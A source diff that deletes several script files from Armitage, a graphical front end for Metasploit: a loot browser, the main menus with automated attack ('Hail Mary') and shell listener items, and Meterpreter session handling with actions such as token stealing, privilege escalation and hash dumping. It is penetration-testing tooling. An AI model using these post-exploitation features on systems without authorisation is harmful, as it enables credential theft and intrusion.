mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3));
|
|
||||||
|
|
||||||
# read in the file
|
|
||||||
$handle = openf($1);
|
|
||||||
$data = readb($handle, -1);
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
# write it out.
|
|
||||||
$out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1));
|
|
||||||
$handle = openf("> $+ $out");
|
|
||||||
writeb($handle, $data);
|
|
||||||
closef($handle);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
warn("Could not find file: $1");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub initLogSystem {
|
|
||||||
[$frame setScreenshotManager: {
|
|
||||||
local('$image $title');
|
|
||||||
($image, $title) = @_;
|
|
||||||
thread(lambda({
|
|
||||||
local('$file');
|
|
||||||
$title = tr($title, '0-9\W', '0-9_');
|
|
||||||
$file = [new java.io.File: getFileProper(formatDate("HH.mm.ss") . " $title $+ .png")];
|
|
||||||
|
|
||||||
[javax.imageio.ImageIO write: $image, "png", $file];
|
|
||||||
logFile([$file getAbsolutePath], "screenshots", ".");
|
|
||||||
deleteFile([$file getAbsolutePath]);
|
|
||||||
|
|
||||||
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots");
|
|
||||||
}, \$image, \$title));
|
|
||||||
}];
|
|
||||||
}
|
|
|
@ -1,190 +0,0 @@
|
||||||
#
|
|
||||||
# Loot browser (not yet complete... on hold until more post/ modules have loot)
|
|
||||||
#
|
|
||||||
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub updateLootModel {
|
|
||||||
thread(lambda({
|
|
||||||
[Thread yield];
|
|
||||||
local('$loots $entry');
|
|
||||||
[$model clear: 16];
|
|
||||||
$loots = call($mclient, "db.loots")["loots"];
|
|
||||||
foreach $entry ($loots) {
|
|
||||||
$entry["date"] = rtime($entry["updated_at"] / 1000L);
|
|
||||||
$entry["type"] = $entry["ltype"];
|
|
||||||
[$model addEntry: $entry];
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}, \$model));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub downloadLoot {
|
|
||||||
thread(lambda({
|
|
||||||
local('$dest');
|
|
||||||
#$dest = chooseFile($title => "Where shall I save these files?", $dirsonly => 1, $always => 1);
|
|
||||||
$dest = getFileProper(dataDirectory(), $type);
|
|
||||||
mkdir($dest);
|
|
||||||
_downloadLoot(\$model, \$table, \$getme, \$dest, $dtype => $type);
|
|
||||||
}, \$model, \$table, \$getme, \$type));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _downloadLoot {
|
|
||||||
local('$progress $entries $index $host $location $name $type $when $loot $path');
|
|
||||||
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at', 'path')];
|
|
||||||
$progress = [new ProgressMonitor: $frame, "Download Data", "", 0, size($entries)];
|
|
||||||
foreach $index => $loot ($entries) {
|
|
||||||
($host, $location, $name, $type, $when, $path) = $loot;
|
|
||||||
[$progress setNote: $name];
|
|
||||||
|
|
||||||
# make the folder to store our downloads into
|
|
||||||
local('$handle $data $file');
|
|
||||||
if ($dtype eq "downloads") {
|
|
||||||
$file = getFileProper($dest, $host, strrep($path, ':', ''), $name);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$file = getFileProper($dest, $host, $name);
|
|
||||||
}
|
|
||||||
mkdir(getFileParent($file));
|
|
||||||
|
|
||||||
# dump the file contents there...
|
|
||||||
$data = getFileContent($location);
|
|
||||||
$handle = openf("> $+ $file");
|
|
||||||
writeb($handle, $data);
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
[$progress setProgress: $index + 1];
|
|
||||||
|
|
||||||
if ([$progress isCanceled]) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
[$progress close];
|
|
||||||
showError("File(s) saved to:\n $+ $dest");
|
|
||||||
[gotoFile([new java.io.File: $dest])];
|
|
||||||
}, \$dest, \$progress));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showLoot {
|
|
||||||
thread(lambda(&_showLoot, \$model, \$table, \$getme));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _postLoot {
|
|
||||||
local('$host $location $name $type $when');
|
|
||||||
($host, $location, $name, $type, $when) = $1;
|
|
||||||
|
|
||||||
[$2 append: "
|
|
||||||
\c9#
|
|
||||||
\c9# $host $+ : $name
|
|
||||||
\c9#\n"];
|
|
||||||
|
|
||||||
if ("*binary*" iswm $type) {
|
|
||||||
[$2 append: "\c4This is a binary file\n"];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$2 append: getFileContent($location)];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _showLoot {
|
|
||||||
local('$loot $entries $dialog $display $refresh');
|
|
||||||
|
|
||||||
$dialog = [new JPanel];
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
$display = [new console.Display: $preferences];
|
|
||||||
|
|
||||||
$entries = [$model getSelectedValuesFromColumns: $table, @('host', $getme, 'name', 'content_type', 'updated_at')];
|
|
||||||
|
|
||||||
foreach $loot ($entries) {
|
|
||||||
_postLoot($loot, $display);
|
|
||||||
yield 10;
|
|
||||||
}
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
local('$r');
|
|
||||||
$r = [[$display console] getVisibleRect];
|
|
||||||
[$display setText: ""];
|
|
||||||
thread(lambda({
|
|
||||||
local('$loot');
|
|
||||||
|
|
||||||
foreach $loot ($entries) {
|
|
||||||
_postLoot($loot, $display);
|
|
||||||
yield 10;
|
|
||||||
}
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
[[$display console] scrollRectToVisible: $r];
|
|
||||||
}, \$display, \$r));
|
|
||||||
}, \$entries, \$display, \$r));
|
|
||||||
}, \$entries, \$display)];
|
|
||||||
|
|
||||||
[$dialog add: $display, [BorderLayout CENTER]];
|
|
||||||
[[$display console] scrollRectToVisible: [new Rectangle: 0, 0, 0, 0]];
|
|
||||||
[$dialog add: center($refresh), [BorderLayout SOUTH]];
|
|
||||||
[$frame addTab: "View", $dialog, $null, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createLootBrowser {
|
|
||||||
local('$table $model $panel $refresh $view $sorter $host $sync');
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("host", "type", "info", "date"), "path", 16];
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$sorter setComparator: 0, &compareHosts];
|
|
||||||
[$sorter setComparator: 3, {
|
|
||||||
return convertDate($1) <=> convertDate($2);
|
|
||||||
}];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$view = [new JButton: "View"];
|
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
|
||||||
if ($0 eq "mousePressed" && [$1 getClickCount] >= 2) {
|
|
||||||
showLoot(\$model, \$table, $getme => "path");
|
|
||||||
}
|
|
||||||
}, \$model, \$table));
|
|
||||||
|
|
||||||
$sync = [new JButton: "Sync Files"];
|
|
||||||
[$sync addActionListener: lambda({
|
|
||||||
downloadLoot(\$model, \$table, $getme => "path", $type => "loots");
|
|
||||||
}, \$model, \$table)];
|
|
||||||
|
|
||||||
[$view addActionListener: lambda({
|
|
||||||
showLoot(\$model, \$table, $getme => "path");
|
|
||||||
}, \$model, \$table)];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({
|
|
||||||
updateLootModel(\$model);
|
|
||||||
}, \$model)];
|
|
||||||
|
|
||||||
updateLootModel(\$model);
|
|
||||||
|
|
||||||
if ($client is $mclient) {
|
|
||||||
[$panel add: center($view, $refresh), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$panel add: center($view, $sync, $refresh), [BorderLayout SOUTH]];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$frame addTab: "Loot", $panel, $null];
|
|
||||||
}
|
|
|
@ -1,319 +0,0 @@
|
||||||
import msf.*;
|
|
||||||
import java.awt.*;
|
|
||||||
import java.io.*;
|
|
||||||
import java.net.*;
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.imageio.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub host_selected_items {
|
|
||||||
local('$sid $session $i $s $h $o');
|
|
||||||
|
|
||||||
host_attack_items($1, $2);
|
|
||||||
|
|
||||||
setupMenu($1, "host_top", $2);
|
|
||||||
|
|
||||||
if ($2[0] in %hosts && 'sessions' in %hosts[$2[0]]) {
|
|
||||||
foreach $sid => $session (%hosts[$2[0]]['sessions']) {
|
|
||||||
if ($session["type"] eq "meterpreter") {
|
|
||||||
$i = menu($1, "Meterpreter $sid", $sid);
|
|
||||||
showMeterpreterMenu($i, \$session, \$sid);
|
|
||||||
}
|
|
||||||
else if ($session["type"] eq "shell") {
|
|
||||||
$i = menu($1, "Shell $sid", $sid);
|
|
||||||
showShellMenu($i, \$session, \$sid);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
item($1, "Services", 'v', lambda({ createServiceBrowser($hosts) }, $hosts => $2));
|
|
||||||
item($1, "Scan", 'c', lambda({ launch_msf_scans(join(", ", $hosts)); }, $hosts => $2));
|
|
||||||
|
|
||||||
setupMenu($1, "host_bottom", $2);
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
$h = menu($1, "Host", 'H');
|
|
||||||
|
|
||||||
$o = menu($h, "Operating System", 'O');
|
|
||||||
item($o, "Android", 'A', setHostValueFunction($2, "os_name", "Android"));
|
|
||||||
item($o, "Apple iOS", 'i', setHostValueFunction($2, "os_name", "Apple iOS"));
|
|
||||||
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
|
|
||||||
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
|
|
||||||
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
|
|
||||||
item($o, "NetBSD", 'N', setHostValueFunction($2, "os_name", "NetBSD"));
|
|
||||||
item($o, "Mac OS X", 'M', setHostValueFunction($2, "os_name", "Apple Mac OS X"));
|
|
||||||
item($o, "OpenBSD", 'O', setHostValueFunction($2, "os_name", "OpenBSD"));
|
|
||||||
item($o, "Printer", 'P', setHostValueFunction($2, "os_name", "Printer"));
|
|
||||||
item($o, "Solaris", 'S', setHostValueFunction($2, "os_name", "Solaris"));
|
|
||||||
item($o, "Unknown", 'U', setHostValueFunction($2, "os_name", ""));
|
|
||||||
item($o, "VMware", 'V', setHostValueFunction($2, "os_name", "VMware"));
|
|
||||||
$i = menu($o, "Windows", 'W');
|
|
||||||
item($i, '1. 95/98/2000', '1', setHostValueFunction($2, "os_name", "Micosoft Windows", "os_flavor", "2000"));
|
|
||||||
item($i, '2. XP/2003', '2', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "XP"));
|
|
||||||
item($i, '3. Vista/7', '3', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "Vista"));
|
|
||||||
item($i, '4. 8/RT', '4', setHostValueFunction($2, "os_name", "Microsoft Windows", "os_flavor", "8"));
|
|
||||||
|
|
||||||
item($h, "Set Label...", 'S', lambda({
|
|
||||||
# calculate preexisting label to prompt with
|
|
||||||
local('$label %l $host');
|
|
||||||
|
|
||||||
# get a label
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
if ($label eq "") {
|
|
||||||
$label = getHostLabel($host);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# ask for a label
|
|
||||||
$label = ask("Set label to:", $label);
|
|
||||||
if ($label !is $null) {
|
|
||||||
foreach $host ($hosts) {
|
|
||||||
%l[$host] = ["$label" trim];
|
|
||||||
}
|
|
||||||
call_async($mclient, "db.report_labels", %l);
|
|
||||||
}
|
|
||||||
}, $hosts => $2));
|
|
||||||
|
|
||||||
separator($h);
|
|
||||||
|
|
||||||
item($h, "Remove Host", 'R', clearHostFunction($2));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub view_items {
|
|
||||||
# make it so we can recreate this menu if necessary...
|
|
||||||
setf('&recreate_view_items', lambda({ [$parent removeAll]; view_items($parent); }, $parent => $1));
|
|
||||||
|
|
||||||
item($1, 'Console', 'C', { thread(&createConsoleTab); });
|
|
||||||
|
|
||||||
if ($mclient !is $client && $mclient !is $null) {
|
|
||||||
item($1, 'Event Log', 'E', &createEventLogTab);
|
|
||||||
}
|
|
||||||
|
|
||||||
setupMenu($1, "view_top", @());
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
item($1, 'Credentials', 'r', { thread(&createCredentialsTab); });
|
|
||||||
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
|
|
||||||
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
|
|
||||||
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
|
|
||||||
item($1, 'Script Console', 'S', { showScriptConsole(); });
|
|
||||||
|
|
||||||
setupMenu($1, "view_middle", @());
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
local('$t');
|
|
||||||
$t = menu($1, 'Reporting', 'R');
|
|
||||||
|
|
||||||
item($t, 'Activity Logs', 'A', gotoFile([new File: dataDirectory()]));
|
|
||||||
item($t, 'Export Data', 'E', {
|
|
||||||
thread(&generateArtifacts);
|
|
||||||
});
|
|
||||||
|
|
||||||
setupMenu($1, "view_bottom", @());
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
sub armitage_items {
|
|
||||||
local('$m');
|
|
||||||
|
|
||||||
item($1, 'New Connection', 'N', {
|
|
||||||
[new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null];
|
|
||||||
});
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
item($1, 'Preferences', 'P', &createPreferencesTab);
|
|
||||||
|
|
||||||
dynmenu($1, 'Set Target View', 'S', {
|
|
||||||
local('$t1 $t2');
|
|
||||||
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
|
||||||
$t1 = 'Graph View *';
|
|
||||||
$t2 = 'Table View';
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$t1 = 'Graph View';
|
|
||||||
$t2 = 'Table View *';
|
|
||||||
}
|
|
||||||
|
|
||||||
item($1, $t1, 'G', {
|
|
||||||
[$preferences setProperty: "armitage.string.target_view", "graph"];
|
|
||||||
createDashboard();
|
|
||||||
savePreferences();
|
|
||||||
});
|
|
||||||
|
|
||||||
item($1, $t2, 'T', {
|
|
||||||
[$preferences setProperty: "armitage.string.target_view", "table"];
|
|
||||||
createDashboard();
|
|
||||||
savePreferences();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
dynmenu($1, 'Set Exploit Rank', 'E', {
|
|
||||||
local('$f @ranks $rank');
|
|
||||||
$f = {
|
|
||||||
[$preferences setProperty: "armitage.required_exploit_rank.string", $rank];
|
|
||||||
savePreferences();
|
|
||||||
showError("Updated minimum exploit rank.");
|
|
||||||
};
|
|
||||||
|
|
||||||
@ranks = @("Excellent", "Great", "Good", "Normal", "Poor");
|
|
||||||
|
|
||||||
foreach $rank (@ranks) {
|
|
||||||
if ([$preferences getProperty: "armitage.required_exploit_rank.string", "great"] eq lc($rank)) {
|
|
||||||
item($1, "$rank *", charAt($rank, 0), lambda($f, $rank => lc($rank)));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
item($1, $rank, charAt($rank, 0), lambda($f, $rank => lc($rank)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
setupMenu($1, "main_top", @());
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
item($1, 'SOCKS Proxy...', 'r', &manage_proxy_server);
|
|
||||||
|
|
||||||
$m = menu($1, 'Listeners', 'L');
|
|
||||||
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
|
|
||||||
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
|
|
||||||
|
|
||||||
item($1, 'Scripts...', 'S', { showScriptManager(); });
|
|
||||||
|
|
||||||
setupMenu($1, "main_middle", @());
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
|
|
||||||
item($1, 'Close', 'C', {
|
|
||||||
if ($msfrpc_handle !is $null) {
|
|
||||||
closef($msfrpc_handle);
|
|
||||||
}
|
|
||||||
|
|
||||||
map({ closef($1); }, @CLOSEME);
|
|
||||||
[$__frame__ quit];
|
|
||||||
});
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
sub main_attack_items {
|
|
||||||
local('$k');
|
|
||||||
item($1, "Find Attacks", 'A', {
|
|
||||||
thread({
|
|
||||||
findAttacks("p", min_rank());
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
item($1, "Hail Mary", 'H', {
|
|
||||||
thread({
|
|
||||||
smarter_autopwn("p", min_rank());
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
setupMenu($1, "attacks", @());
|
|
||||||
}
|
|
||||||
|
|
||||||
sub gotoURL {
|
|
||||||
return lambda({
|
|
||||||
if ([Desktop isDesktopSupported]) {
|
|
||||||
[[Desktop getDesktop] browse: $url];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
ask("Browse to this URL:", $url);
|
|
||||||
}
|
|
||||||
}, $url => [[new URL: $1] toURI]);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub help_items {
|
|
||||||
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
|
|
||||||
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
|
|
||||||
item($1, "Scripts", 'S', gotoURL("https://github.com/rsmudge/cortana-scripts"));
|
|
||||||
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
|
|
||||||
item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
|
|
||||||
setupMenu($1, "help", @());
|
|
||||||
separator($1);
|
|
||||||
item($1, "About", 'A', {
|
|
||||||
local('$dialog $handle $label');
|
|
||||||
$dialog = dialog("About", 320, 200);
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$label = [new JLabel: [new ImageIcon: [ImageIO read: resource("resources/armitage-logo.gif")]]];
|
|
||||||
|
|
||||||
[$label setBackground: [Color black]];
|
|
||||||
[$label setForeground: [Color gray]];
|
|
||||||
[$label setOpaque: 1];
|
|
||||||
|
|
||||||
$handle = [SleepUtils getIOHandle: resource("resources/about.html"), $null];
|
|
||||||
[$label setText: readb($handle, -1)];
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
[$dialog add: $label, [BorderLayout CENTER]];
|
|
||||||
[$dialog pack];
|
|
||||||
[$dialog setLocationRelativeTo: $__frame__];
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
sub init_menus {
|
|
||||||
local('$top');
|
|
||||||
$top = [$1 getJMenuBar];
|
|
||||||
|
|
||||||
dynmenu($top, "$TITLE", charAt($TITLE, 0), &armitage_items);
|
|
||||||
dynmenu($top, "View", 'V', &view_items);
|
|
||||||
dynmenu($top, "Hosts", 'H', &host_items);
|
|
||||||
dynmenu($top, "Attacks", 'A', &main_attack_items);
|
|
||||||
dynmenu($top, "Workspaces", 'W', &client_workspace_items);
|
|
||||||
dynmenu($top, "Help", 'H', &help_items);
|
|
||||||
|
|
||||||
# setup some global keyboard shortcuts...
|
|
||||||
[$frame bindKey: "Ctrl+I", {
|
|
||||||
thread({
|
|
||||||
chooseSession($null, $null, $null, {
|
|
||||||
local('$session');
|
|
||||||
$session = sessionData($1);
|
|
||||||
if ($session is $null) {
|
|
||||||
showError("Session $1 does not exist");
|
|
||||||
}
|
|
||||||
else if ($session['desc'] eq "Meterpreter") {
|
|
||||||
createMeterpreterTab($1);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
createShellSessionTab(\$session, $sid => $1);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}];
|
|
||||||
[$frame bindKey: "Ctrl+N", { thread(&createConsoleTab); }];
|
|
||||||
[$frame bindKey: "Ctrl+W", { [$frame openActiveTab]; }];
|
|
||||||
[$frame bindKey: "Ctrl+D", { [$frame closeActiveTab]; }];
|
|
||||||
[$frame bindKey: "Ctrl+O", { thread(&createPreferencesTab); }];
|
|
||||||
[$frame bindKey: "Ctrl+T", { [$frame snapActiveTab]; }];
|
|
||||||
[$frame bindKey: "Ctrl+Left", { [$frame previousTab]; }];
|
|
||||||
[$frame bindKey: "Ctrl+Right", { [$frame nextTab]; }];
|
|
||||||
setupWorkspaceShortcuts(workspaces());
|
|
||||||
|
|
||||||
cmd_safe("show exploits", {
|
|
||||||
local('$line $os $type $id $rank $name $k $date $exploit');
|
|
||||||
|
|
||||||
foreach $line (split("\n", $3)) {
|
|
||||||
local('@ranks');
|
|
||||||
@ranks = @('normal', 'good', 'great', 'excellent');
|
|
||||||
while (size(@ranks) > 0 && @ranks[0] ne min_rank()) {
|
|
||||||
@ranks = sublist(@ranks, 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($line ismatch '\s+((.*?)\/.*?\/.*?)\s+(\d\d\d\d-\d\d-\d\d)\s+(' . join('|', @ranks) . ')\s+(.*?)') {
|
|
||||||
($exploit, $os, $date, $rank, $name) = matched();
|
|
||||||
%exploits[$exploit] = %(
|
|
||||||
name => $name,
|
|
||||||
os => $os,
|
|
||||||
date => parseDate('yyyy-MM-dd', $date),
|
|
||||||
rank => $rank,
|
|
||||||
rankScore => rankScore($rank)
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
warn("Remote Exploits Synced");
|
|
||||||
});
|
|
||||||
}
|
|
|
@ -1,387 +0,0 @@
|
||||||
|
|
||||||
#
|
|
||||||
# this code maintains the client threads (one per meterpreter session) and
|
|
||||||
# the data structures for each meterpreter session.
|
|
||||||
#
|
|
||||||
|
|
||||||
import armitage.*;
|
|
||||||
import console.*;
|
|
||||||
import msf.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
|
|
||||||
global('%sessions %handlers $handler');
|
|
||||||
|
|
||||||
sub session {
|
|
||||||
if ($1 !in %sessions && $mclient !is $null) {
|
|
||||||
%sessions[$1] = [$cortana getSession: $1];
|
|
||||||
[%sessions[$1] addListener: lambda(&parseMeterpreter)];
|
|
||||||
}
|
|
||||||
|
|
||||||
return %sessions[$1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub oneTimeShow {
|
|
||||||
%handlers[$1] = lambda({
|
|
||||||
if ($0 eq "begin") {
|
|
||||||
showError($2);
|
|
||||||
%handlers[$command] = $null;
|
|
||||||
}
|
|
||||||
}, $command => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub m_cmd_callback {
|
|
||||||
if ($mclient is $null) {
|
|
||||||
warn("Dropping: " . @_ . " - collab check not complete!");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
[session($1) addCommand: $3, "$2 $+ \n"];
|
|
||||||
}
|
|
||||||
|
|
||||||
# m_cmd("session", "command here")
|
|
||||||
sub m_cmd {
|
|
||||||
if ($mclient is $null) {
|
|
||||||
warn("Dropping: " . @_ . " - collab check not complete!");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
local('$command $handler');
|
|
||||||
$command = split('\s+', [$2 trim])[0];
|
|
||||||
$handler = %handlers[$command];
|
|
||||||
|
|
||||||
if ($handler !is $null) {
|
|
||||||
[$handler execute: $1, [$2 trim]];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$handler = {};
|
|
||||||
}
|
|
||||||
|
|
||||||
[session($1) addCommand: $handler, "$2 $+ \n"];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub parseMeterpreter {
|
|
||||||
local('@temp $command $line $sid $token $response $data $command');
|
|
||||||
|
|
||||||
# called with: sid, token, response
|
|
||||||
($sid, $token, $response) = @_;
|
|
||||||
|
|
||||||
if ($token isa ^MeterpreterClient || $token isa ^cortana.metasploit.MeterpreterBridge$MeterpreterToken) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$response = convertAll($3);
|
|
||||||
$data = $response['data'];
|
|
||||||
|
|
||||||
if ("*uploaded*:*->*" iswm $data) {
|
|
||||||
# this is a hack to force the file browser to refresh when a file is uploaded
|
|
||||||
m_cmd($sid, "ls");
|
|
||||||
}
|
|
||||||
else if ("[-]*Unknown command: *" iswm $data) {
|
|
||||||
%handlers["list_tokens"] = $null;
|
|
||||||
%handlers["getuid"] = $null;
|
|
||||||
m_cmd($sid, "load stdapi");
|
|
||||||
m_cmd($sid, "load priv");
|
|
||||||
showError("Loading stdapi. Try command again");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$handler = $token;
|
|
||||||
|
|
||||||
if ($handler !is $null && $0 eq "commandComplete") {
|
|
||||||
local('$h');
|
|
||||||
$h = $handler;
|
|
||||||
[$h begin: $1, $data];
|
|
||||||
@temp = split("\n", $data);
|
|
||||||
foreach $line (@temp) {
|
|
||||||
[$h update: $1, $line];
|
|
||||||
}
|
|
||||||
[$h end: $1, $data];
|
|
||||||
}
|
|
||||||
else if ($handler !is $null && $0 eq "commandTimeout") {
|
|
||||||
[$handler timeout: $1, $data];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub interpretMeterpreterCommand {
|
|
||||||
local('$c');
|
|
||||||
$c = [lc([$1 getActionCommand] . "") trim];
|
|
||||||
|
|
||||||
if ($c eq "shell") {
|
|
||||||
createShellTab($sid);
|
|
||||||
}
|
|
||||||
else if ($c eq "screenshot") {
|
|
||||||
[createScreenshotViewer($sid)];
|
|
||||||
}
|
|
||||||
else if ($c eq "webcam_snap") {
|
|
||||||
[createWebcamViewer($sid)];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# this code creates and managers a meterpreter tab.
|
|
||||||
#
|
|
||||||
sub createMeterpreterTab {
|
|
||||||
local('$session $result $thread $console $old');
|
|
||||||
|
|
||||||
$session = session($1);
|
|
||||||
|
|
||||||
# set up a meterpreter console window
|
|
||||||
$console = [new Console: $preferences];
|
|
||||||
setupConsoleStyle($console);
|
|
||||||
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
|
|
||||||
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
|
|
||||||
|
|
||||||
# tab completion for Meterpreter... :D
|
|
||||||
[new TabCompletion: $console, $client, $1, "session.meterpreter_tabs"];
|
|
||||||
|
|
||||||
# set up a listener to read input from the console and dump output back to it.
|
|
||||||
if ("*Windows*" !iswm sessionToOS($1) || ($REMOTE && $mclient is $client)) {
|
|
||||||
[new MeterpreterClient: $console, $session, $null];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[new MeterpreterClient: $console, $session, newInstance(^java.awt.event.ActionListener, lambda(&interpretMeterpreterCommand, $sid => $1))];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$frame addTab: "Meterpreter $1", $console, $null, "Meterpreter " . sessionToHost($1)];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub meterpreterPopup {
|
|
||||||
local('$popup');
|
|
||||||
$popup = [new JPopupMenu];
|
|
||||||
|
|
||||||
showMeterpreterMenu($popup, \$session, \$sid);
|
|
||||||
|
|
||||||
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showMeterpreterMenu {
|
|
||||||
local('$j $platform');
|
|
||||||
|
|
||||||
$platform = lc($session['platform']);
|
|
||||||
|
|
||||||
setupMenu($1, "meterpreter_top", @($sid));
|
|
||||||
|
|
||||||
if ("*win*" iswm $platform) {
|
|
||||||
$j = menu($1, "Access", 'A');
|
|
||||||
|
|
||||||
item($j, "Migrate Now!", 'M', lambda({
|
|
||||||
oneTimeShow("run");
|
|
||||||
m_cmd($sid, "run migrate -f");
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
item($j, "Escalate Privileges", 'E', lambda({
|
|
||||||
showPostModules($sid, "*escalate*",
|
|
||||||
ohash(exploit => buildTree(filter({ return iff("*windows/local/*" iswm $1, $1); }, @exploits)))
|
|
||||||
);
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
item($j, "Steal Token" , "S", lambda({
|
|
||||||
m_cmd($sid, "load incognito");
|
|
||||||
stealToken($sid);
|
|
||||||
}, $sid => "$sid"));
|
|
||||||
|
|
||||||
local('$h');
|
|
||||||
$h = menu($j, "Dump Hashes", "D");
|
|
||||||
|
|
||||||
item($h, "lsass method", "l", lambda({
